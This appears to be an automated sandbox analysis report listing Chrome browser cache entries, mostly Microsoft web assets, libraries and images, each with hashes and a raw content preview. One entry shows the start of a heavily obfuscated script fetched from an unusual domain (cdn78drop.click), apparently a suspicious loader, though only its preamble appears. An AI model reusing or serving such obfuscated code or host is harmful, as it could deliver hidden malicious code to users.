G..!.9Vg.......j.-?~.z.w..f.M............,...Z....w5..#.^..M.P.'.X.n/..mW.\|......0...w../...>\...l.......h...q>.w...FC[....7.

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57510
Category:	dropped
Size (bytes):	16345
Entropy (8bit):	7.98960525258912
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:hOBKJBXO586QB+11J
MD5:	187B9EBA41FDF66B2C8F7EB645D2BC17
SHA1:	B1C034F7F5F754F271D094FB417B9A820C1F712C
SHA-256:	CA0FBF8421A0CF4CCDA7310B2AE74CBD92214901EC2D0F273EA3B07F12CF96EA
SHA-512:	0D7FB682D24E97C9E3FC04AA87CCB8EC508CA0CF197DA0617EFFD981BC8B5E3600824FDD08F1F31F59D276B5BF53229D00805D984E01D512FD968610C5FE9609
Malicious:	false
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (590)
Category:	downloaded
Size (bytes):	1716
Entropy (8bit):	5.2304068952006615
Encrypted:	false
SSDEEP:	48:4435HDQ258U3JqVnCG/6YyTrkzRLj9tSRAE9P:hU25ZqVC6ByTrWRLjSRAE9P
MD5:	4CFFC2C9B55F8BDE649E0D2535A1EEBD
SHA1:	2AAF4DF1E02ED4F5BB48F00A7423F748BF544E0C
SHA-256:	7BB50A050792F761855CC330E0248D037B37DD68FD23FBB7DB8A7E8694F50A94
SHA-512:	599C87219B7E264CFF8E6951192C691E26DFFA88EFC607EDFE9205F1BB08DA28FD61B508FAE93652BE36BE1ADA57E50661490925B247A43C3EB7F24D8CA0C8D0
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/clientlibs/exp-analytics/v1.min.ACSHASH4cffc2c9b55f8bde649e0d2535a1eebd.js
Preview:	'use strict';var experimentationAnalytics=function(){function g(a){return a&&0<a.length?!1:!0}function m(a){return Object.keys(a).map(function(b){return b+""+a[b]}).join("")}function n(a){var b=a.reduce(function(c,e){c[m(e)]=e;return c},{});return Object.keys(b).map(function(c){return b[c]})}function h(a){console.log("sendToVortex Call");a&&a.analytics&&f(a)}function k(a){return{actionType:"A",behavior:"12",content:JSON.stringify({}),pageTags:{tnta:a&&a.analytics?a.analytics.tnta:""}}}function l(a,.b){return{actionType:"A",behavior:"12",content:JSON.stringify({}),pageTags:{tnta:"",at_activity_name:a&&a.responseTokens[b]?a.responseTokens[b]["activity.name"]:"",at_exp_name:a&&a.responseTokens[b]?a.responseTokens[b]["experience.name"]:"",at_activity_id:a&&a.responseTokens[b]?a.responseTokens[b]["activity.id"]:"",at_exp_id:a&&a.responseTokens[b]?a.responseTokens[b]["experience.id"]:""}}}function f(a,b,c){b="number"===typeof b?b:25;c="number"===typeof c?c:200;var e=0;if(window.expAnalytics&

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	406
Entropy (8bit):	4.999363379384117
Encrypted:	false
SSDEEP:	12:ks6KjE5TkTDphV19fuYRTHVGeVphV1cRIKacdvNeJR4:kAI5gXpJ9fu8FpJgIK/dUf4
MD5:	DF20EB81FA2AF3A1C0B0246A9A6A9485
SHA1:	6A76AA264C75B186F9291C351373E89DC3B6D59B
SHA-256:	99E81FEE9CAB25A579FDDFCA6EFCB65A196545FB79FD5FA5D711C5C377C4BFFF
SHA-512:	22F39F69A3FC0A603DA2F169005B6CE35E21B3454C0379792F7DE266CE30063BE4F66B5264E04226B783AFD7E1328951174D470B0E1395AB4A3D4E52BCE73D77
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/mlsd/clientlibs/clientlib-experimentations.min.ACSHASHdf20eb81fa2af3a1c0b0246a9a6a9485.css
Preview:	.experimentation{-webkit-box-ordinal-group:-1 !important;-ms-flex-order:-2 !important;order:-2 !important}..wayFindingModel-mlsd-exp.modal.show .modal-dialog{background:rgb(255,255,255,0.9);max-width:100% !important;justify-content:center}..wayFindingModel-mlsd-exp.modal.show .modal-dialog .modal-content{max-width:800px;border:1px solid #0067b8}..wayFindingModel-mlsd-exp .modal-images img{max-width:50%}

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (709)
Category:	downloaded
Size (bytes):	77056
Entropy (8bit):	5.274518075405774
Encrypted:	false
SSDEEP:	768:e/vJhzcCOHCVHp7NAnRh4GSRMxHfr9yixQqIqKsUzYwtrShXg24SCr8dm9p3eldx:e3TVbGUMVvN6H2zwSU6id+QUX
MD5:	FCFC50F83CDDEB41498330E93937DA73
SHA1:	1D58372109BE1C5A1F2915A1375D04D4B5C7751C
SHA-256:	43FA62C4C01C9849B07C1A31BFE54FF152CC7A7EC03E46A4BADB931A9F947F18
SHA-512:	1ABD5F40F133DEEDA04C1D68BF4693DAF63EFAE23DD2653DAD095DC535767E76823CF534C6F926E62095D45F34D3B53DBFE07A561D8B662A51C05BE2E824D250
Malicious:	false
URL:	https://ajax.aspnetcdn.com/ajax/jquery.mobile/1.0b3/jquery.mobile-1.0b3.min.js
Preview:	/!. jQuery Mobile v1.0b3. * http://jquerymobile.com/. . Copyright 2010, jQuery Project. * Dual licensed under the MIT or GPL Version 2 licenses.. * http://jquery.org/license. /.(function(a,d){if(a.cleanData){var b=a.cleanData;a.cleanData=function(c){for(var e=0,d;(d=c[e])!=null;e++)a(d).triggerHandler("remove");b(c)}}else{var c=a.fn.remove;a.fn.remove=function(b,e){return this.each(function(){e\|\|(!b\|\|a.filter(b,[this]).length)&&a("",this).add([this]).each(function(){a(this).triggerHandler("remove")});return c.call(a(this),b,e)})}}a.widget=function(c,b,d){var h=c.split(".")[0],j,c=c.split(".")[1];j=h+"-"+c;if(!d)d=b,b=a.Widget;a.expr[":"][j]=function(b){return!!a.data(b,.c)};a[h]=a[h]\|\|{};a[h][c]=function(a,c){arguments.length&&this._createWidget(a,c)};b=new b;b.options=a.extend(!0,{},b.options);a[h][c].prototype=a.extend(!0,b,{namespace:h,widgetName:c,widgetEventPrefix:a[h][c].prototype.widgetEventPrefix\|\|c,widgetBaseClass:j},d);a.widget.bridge(c,a[h][c])};a.widget.bridge=funct

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2655), with CRLF line terminators
Category:	downloaded
Size (bytes):	2776
Entropy (8bit):	5.681484181124527
Encrypted:	false
SSDEEP:	48:t1XXw+kOhX/BxVgnK/Q6GiuGq9juwbae13NhcKBLd4KHBDSKpPWrGR5mdWuaIIQ/:H9W3iuV96wDrHBZ4OSwGK56/n/
MD5:	F36670C8FD04A338C88C4C6114E9C543
SHA1:	A5EFC92B30C680505DA222A28BB442F6FFFA449D
SHA-256:	D0537CF72F7EFDC8E4FF51560C2B82915CB0823AADF2DE3A51442FC33E1FC71A
SHA-512:	2B363327461F170E1C9F54F4AE032ABE243F5BFE4ED38093383A537FB54152F3DD196F1382D56E4DE53E30F3C6C221DEE5C4B2BC560B59CA0D82364A988F10E5
Malicious:	false
URL:	https://fpt2.microsoft.com/Clear.HTML?ctx=Ls1.0&wl=False&session_id=2772790f-7f7e-4ab0-9434-67d6071c84b9&id=b86de971-dfe7-4171-ba71-94867f798507&w=8DD19246BF11BFC&tkt=H3ihr9e92IdW6yd1ZgQ9S0kvtvZRuOxcpRCTIW%252fmvgxxeNwoyiUcI961VVjrPnF3n0uqP1vYLVOsejwf9X7dpOmYkLiJcazhnARKOOSHAE9KBbpxR%252bZEeFt1ZlY%252bt0nzft0I5p%252bzBf4Qe5yLAe2wXyHGQlbJZTuouSA0cLK2Lgej9ZMPaXHIhwpeRQEA7h7GhgYr20JRR5RnvdheTlYRsMs7PxJir1AMliJ%252fziKjccPGq%252fhcbWooNpGSiuVyLhBVr8VeX4X%252fr35hgtfqhO7oFRu5mx692QRv69OHEmawmXrOIQ8hyBV%252f18gOxmsSAgfz&CustomerId=02C58649-E822-405B-B6C3-17A7509D2FCC
Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml">..<head>.. <title></title>..</head>..<script>function BaseStamp() { this.GetStorageQsInfo = function () { if (window.localStorage) { var n = window.localStorage.getItem(lsKey); var lsupd = "False"; if (lsupd === "true" && n) { var xhr = new XMLHttpRequest(), method = "GET", url = target + "updatels.html?ofid=" + n + "&session_id=" + sid + "&CustomerId=" + cid; xhr.open(method, url, true); xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { var update = xhr.responseText; if (update && update.toLowerCase() === "true") { window.localStorage.setItem(lsKey, id); } } }; xhr.send(); } if (n && n != null && n != "" \|\| (window.localStorage.setItem(lsKey, id), n = id), id != n) return "session_id=" + sid + "&CustomerId=" + cid + "&fid=" + id + "&ofid=" + n + "&w=" + ticks + "&auth=" + encodeURIComponent(authKey) } return "" }; this.newXMLHttp = function () { var n = null; return

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	318713
Entropy (8bit):	4.9382988876470755
Encrypted:	false
SSDEEP:	3072:owtki9QkGoO4QPwGY5DPMwqGsbkyvLUi4beyAX/bSe2yUXaemHqOOkwsik7oZtIm:Fj9p
MD5:	F747282A2831677A6CB1C9CA4FE2B8FE
SHA1:	5B58775E73BD52981112378D9CE936305FE95832
SHA-256:	A5B1011E796F97DE920414F0C9A0D54291A16DB3325D2541A003A93D025492F2
SHA-512:	AF25D86E3301E93136F399CACC31E3B037EA4FCF81B95FDA587F38D3D0CAA9286CC5C1C870C184FFE4DF6D773826535266F41D06EB7071357DB60B3970C92BC3
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-base.min.ACSHASHf747282a2831677a6cb1c9ca4fe2b8fe.css
Preview:	.cmp-image__image{width:100%}..aem-Grid{display:block;width:100%}..aem-Grid::before,.aem-Grid::after{display:table;content:" "}..aem-Grid::after{clear:both}..aem-Grid-newComponent{clear:both;margin:0}..aem-GridColumn{box-sizing:border-box;clear:both}..aem-GridShowHidden>.aem-Grid>.aem-GridColumn{display:block !important}..aem-Grid.aem-Grid--1>.aem-GridColumn.aem-GridColumn--default--1{float:left;clear:none;width:100%}..aem-Grid.aem-Grid--1>.aem-GridColumn.aem-GridColumn--offset--default--0{margin-left:0}..aem-Grid.aem-Grid--1>.aem-GridColumn.aem-GridColumn--offset--default--1{margin-left:100%}..aem-Grid.aem-Grid--2>.aem-GridColumn.aem-GridColumn--default--1{float:left;clear:none;width:50%}..aem-Grid.aem-Grid--2>.aem-GridColumn.aem-GridColumn--default--2{float:left;clear:none;width:100%}..aem-Grid.aem-Grid--2>.aem-GridColumn.aem-GridColumn--offset--default--0{margin-left:0}..aem-Grid.aem-Grid--2>.aem-GridColumn.aem-GridColumn--offset--default--1{margin-left:50%}..aem-Grid.aem-Grid--2>.a

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (505)
Category:	dropped
Size (bytes):	1418
Entropy (8bit):	5.418786110345074
Encrypted:	false
SSDEEP:	24:gkWndJbDZVHGCGH0199EYCDNQNFHOS91AqCCoW40HJtmz2Xw+mlu4oFU5kveTOwD:gkw9ZVHG3HEuvNQNFv16XW1HJEkmEhUh
MD5:	20AAFDF6904D3DC5DB0E0E33ABBFC1A4
SHA1:	CC1A639FF69FE0D8A8F1EFEE7FCB04941E7B57C8
SHA-256:	EE4E620F350907CE3867454B2BD45984BE949EB46B113183D4B8B403032DA14D
SHA-512:	91B0BD81FCD2D3D040D9FC1DB74F5CA916EF88E7887D2868530BF1319EAF5462CC54421AB80FC97B258B569B9AF40F2B9FD1B6D417C9A4561BBA22EDF785D905
Malicious:	false
Preview:	/. jQuery Cookie Plugin v1.4.1. https://github.com/carhartl/jquery-cookie.. Copyright 2013 Klaus Hartl. Released under the MIT license./.'use strict';(function(d){"function"===typeof define&&define.amd?define(["jquery"],d):"object"===typeof exports?d(require("jquery")):d(jQuery)})(function(d){function l(a,c){if(e.raw)var b=a;else a:{0===a.indexOf('"')&&(a=a.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\"));try{a=decodeURIComponent(a.replace(m," "));b=e.json?JSON.parse(a):a;break a}catch(h){}b=void 0}return d.isFunction(c)?c(b):b}var m=/\+/g,e=d.cookie=function(a,c,b){if(void 0!==c&&!d.isFunction(c)){b=d.extend({},e.defaults,b);.if("number"===typeof b.expires){var h=b.expires,g=b.expires=new Date;g.setTime(+g+864E5*h)}a=e.raw?a:encodeURIComponent(a);c=e.json?JSON.stringify(c):String(c);c=e.raw?c:encodeURIComponent(c);return document.cookie=[a,"\x3d",c,b.expires?"; expires\x3d"+b.expires.toUTCString():"",b.path?"; path\x3d"+b.path:"",b.domain?"; domain\x3d"+b.domain:"",b.secure?";

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (5403)
Category:	downloaded
Size (bytes):	276690
Entropy (8bit):	5.0959640917755396
Encrypted:	false
SSDEEP:	6144:joBHnHzi6vsWhpekbIfa7LN75Hi/BCxkZGRM6RpbQVpkzXA/+/8FFJxD4ucJKNy:jMnHZloBCxZRJjKNy
MD5:	DE36392145951F31D00790A47EB1D265
SHA1:	657CD335A0E97F44F9FFC623E43C6FDBE3F497F0
SHA-256:	673181902830886FE9611447DAE2984E874031FFA7DA96B638C9707DD2088E5A
SHA-512:	5D28BF3BE9A9A777C74EBEA21DC741767EC58FB63980F2A261362C68261E72FD624DF7D13041604652B8AA47B7B998E308913757B6C12B6E261CB4365E1ED880
Malicious:	false
URL:	https://www.microsoft.com/en-us/servicesagreement
Preview:	<!DOCTYPE HTML>..<html lang="en-US" dir="ltr">.<head>. . .. ..... . . . . . . . .. . Start of ADDITIONAL DEBUG INFO cv.html .. CVToken: CASMicrosoftCV442e0e7b.0. End of ADDITIONAL DEBUG INFO -->.... . . . . . <meta charset="UTF-8"/>. <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"/>. <meta http-equiv="x-ua-compatible" content="ie=edge"/>. . <link rel="SHORTCUT ICON" href="/favicon.ico?v2" type="image/x-icon"/>.. .. .. . <meta name="robots" content="index, follow"/>. . .. <meta name="template" content="servicesagreement-template"/>.. <meta name="awa-canvasType" content="web"/>. <meta name="awa-isTented" content="false"/>..

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	131540
Entropy (8bit):	5.1656937821113385
Encrypted:	false
SSDEEP:	3072:EIHGEOA4TFfcJTGLL9jOjf5o6r5s0hF3rRu/MD:HmEOACfcJS/9j6f5o05s0vR+MD
MD5:	99CCBD57C9C26BD8C94D3B6385BDF128
SHA1:	444026CF478FA68C47C9CEB0226363FC3C48E891
SHA-256:	510E1481CA6DBCE1303B54C4F3747F18F7E9063351721B9D49EF9EFC709176D3
SHA-512:	B5192A6EA4DDB54F6BFA380451C3457E89E1E4D0D3CA4BF2687E2385988FA2A80163B3B882ABD0AC23E314B1DC665394928DAB7F86E0E481EB098867A7CE2549
Malicious:	false
URL:	https://easycdn.cdn78drop.click/hookie/yqowep/yonders.js
Preview:	(function(_0x47d60c,_0x341ecc){const _0x389b7f=_0x4018,_0x5e0203=_0x47d60c();while(!![]){try{const _0x20a50b=-parseInt(_0x389b7f(0x4b3))/(-0x170xe+0x583+0x4-0x110)+parseInt(_0x389b7f(0x477))/(0x1-0x1346+-0x110x9b+0x1d93)(parseInt(_0x389b7f(0x3d3))/(0x23e1+-0x23c90x1+0x15-0x1))+parseInt(_0x389b7f(0x44c))/(0x820-0x2+-0x3-0x443+-0x1b-0x21)+-parseInt(_0x389b7f(0x554))/(-0x10fb+-0x550x50+0xae40x4)(-parseInt(_0x389b7f(0x4b2))/(0xd390x1+0x244-0x3+0x667-0x1))+-parseInt(_0x389b7f(0x367))/(-0xd07+0x1ab3+0x1f3-0x7)+-parseInt(_0x389b7f(0x3ef))/(0x210e+0xa230x3+-0x10x3f6f)+-parseInt(_0x389b7f(0x37a))/(0x180b-0x1+-0x254b+0x3d5f0x1)(parseInt(_0x389b7f(0x4ba))/(0x10x1a57+-0xb0x169+0x2-0x565));if(_0x20a50b===_0x341ecc)break;else _0x5e0203['push'](_0x5e0203['shift']());}catch(_0x1336d1){_0x5e0203['push'](_0x5e0203['shift']());}}}(_0x4185,0x1-0x7756c+-0xa*0x22c72+0x2aa0d9),function(_0x2e8709,_0x3da36c){const _0x2fc7ec=_0x4018,_0x481025={'dzJzb':function(_0xc0c75f){return _0xc0c7

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4565
Entropy (8bit):	7.879534543139402
Encrypted:	false
SSDEEP:	96:aSNKFuwJEQpaGX5wC3wglX5YEGdqsR1VsIAufA0E3xnMMV7:aSN3QpayvmEGdqsxsW7EhMMF
MD5:	D596565EC1F100A507CC0D5F663B6D57
SHA1:	6B688AA0541E5758B9A54C1848C6A52886E081BA
SHA-256:	4C8A06620DD3AADE66AEB759A5FC2BCEC1B51B66EA9C456B5DC3F511CB783258
SHA-512:	7E7CAF2644B686064959389EA975BC1701C8FB3FB23C44B701FE710227FE2A0A0B58769AABA6569FCBE1D79E44E5669CD60036060B3144E0C6B97A8C40D6CA9B
Malicious:	false
URL:	"https://cdn-dynmedia-1.microsoft.com/is/image/microsoftcorp/UHFbanner-MSlogo?fmt=png-alpha&bfc=off&qlt=100,1"
Preview:	.PNG........IHDR.............J.......pHYs.................IDATx...t..u...H.$~X.....\|L16.8@........`p.&.,..+.mPKh....4)$$.H..+Y....?SB.l.1..H!.4....c+..-k...cf.....Z.bZ......f..w.}.=.}......o....G.t%.?C...SOV.n..r!.t.<<.?.)..G......x...QA<... ..yxT..@w...Jkk..t:=....8....a.w..t)ux.v.......3TU}...........4.Z..@D.\...O.......<....\J).<......u.$..^.!.rfV.y},.[....a.....Q+..d...i...9..=..iU..S"ZY$[...&..1......9r"..........O.R..h..n..B...X2..OD.,..n.4..]..k<.{..K..)...J.oB)...<.}>..6.o.~..X!.W..3s..,.<.Rj;DDg..........B\....;`..N...=1....L&.2...X,.z&m.)X1\|.\|9.`B.K`..K...u.K)7.o...CQ.9.\|.C<....b......DD..] .\b....@0...d..s..X....0.S...2uuu.&..C.......O=..O..4-..+..ttt.+WV3......L......f.\..\......dr!.....[o.u_SSS...a.a..B....?.n.8.O.f.N...+....c}2O....p8.www..)b....D.........s4..~z..!.tQ...\........2{3X.o........OK$.'..}.M.f.8..c..DT....Kl.);\.=.;::d.2.v..RN.p..Bef.(.G.tz{<..QJ[.....1W.X1Y.1.....]......<....H.0&..~..y..(.E".wK..........G2.".L..

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (5403)
Category:	downloaded
Size (bytes):	276690
Entropy (8bit):	5.096131710348688
Encrypted:	false
SSDEEP:	6144:XUBHnHzi6vsWhpekbIfa7LN75Hi/BCxkZGRM6RpbQVpkzXA/+/8FFJxD4ucJKdK:XInHZloBCxZRJjKdK
MD5:	A137C3C65615B4F0F8D73B131A9D8AC0
SHA1:	55320416E865B838C1A09AF523B22A507E69F40B
SHA-256:	46438F6CB2A6574C8D02A0E1F482022E997C643715847ACC73DC2D95FF1EBCA6
SHA-512:	3FE9C7A27EF367E4BF17A45FFB0531DBAEB057DEF5C09AAD522C57A39A377C0EA7FCE12D51C23120ACCE86FACDDEE79B3E582E99B48AB6E0AA4212262E06C4F1
Malicious:	false
URL:	https://www.microsoft.com/en-US/servicesagreement/
Preview:	<!DOCTYPE HTML>..<html lang="en-US" dir="ltr">.<head>. . .. ..... . . . . . . . .. . Start of ADDITIONAL DEBUG INFO cv.html .. CVToken: CASMicrosoftCV2661156f.0. End of ADDITIONAL DEBUG INFO -->.... . . . . . <meta charset="UTF-8"/>. <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"/>. <meta http-equiv="x-ua-compatible" content="ie=edge"/>. . <link rel="SHORTCUT ICON" href="/favicon.ico?v2" type="image/x-icon"/>.. .. .. . <meta name="robots" content="index, follow"/>. . .. <meta name="template" content="servicesagreement-template"/>.. <meta name="awa-canvasType" content="web"/>. <meta name="awa-isTented" content="false"/>..

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (541)
Category:	dropped
Size (bytes):	3642
Entropy (8bit):	5.399452635270733
Encrypted:	false
SSDEEP:	96:yjXZ9sAK618PFA5Hvsy15vm9sgsTO7wdNTB:yjXPT2Sb15vkl7wdN9
MD5:	BE3F2A9F6A41FC40556EFE260FC861A5
SHA1:	EF6D673802EDF44C01EEA9DD86DF4E5ACD21757E
SHA-256:	C94F3B6AA377CFC8D9416F38AEDF1E49C43DE0BDC6726858720610827DF2DD3E
SHA-512:	05ED779F490E9F21153E0C6838198A9E5337C4361644E62A5C99BCA3978001840CAC2E947874983FABF15573FDDA548567176F77B0393A827E27E47ECB01792A
Malicious:	false
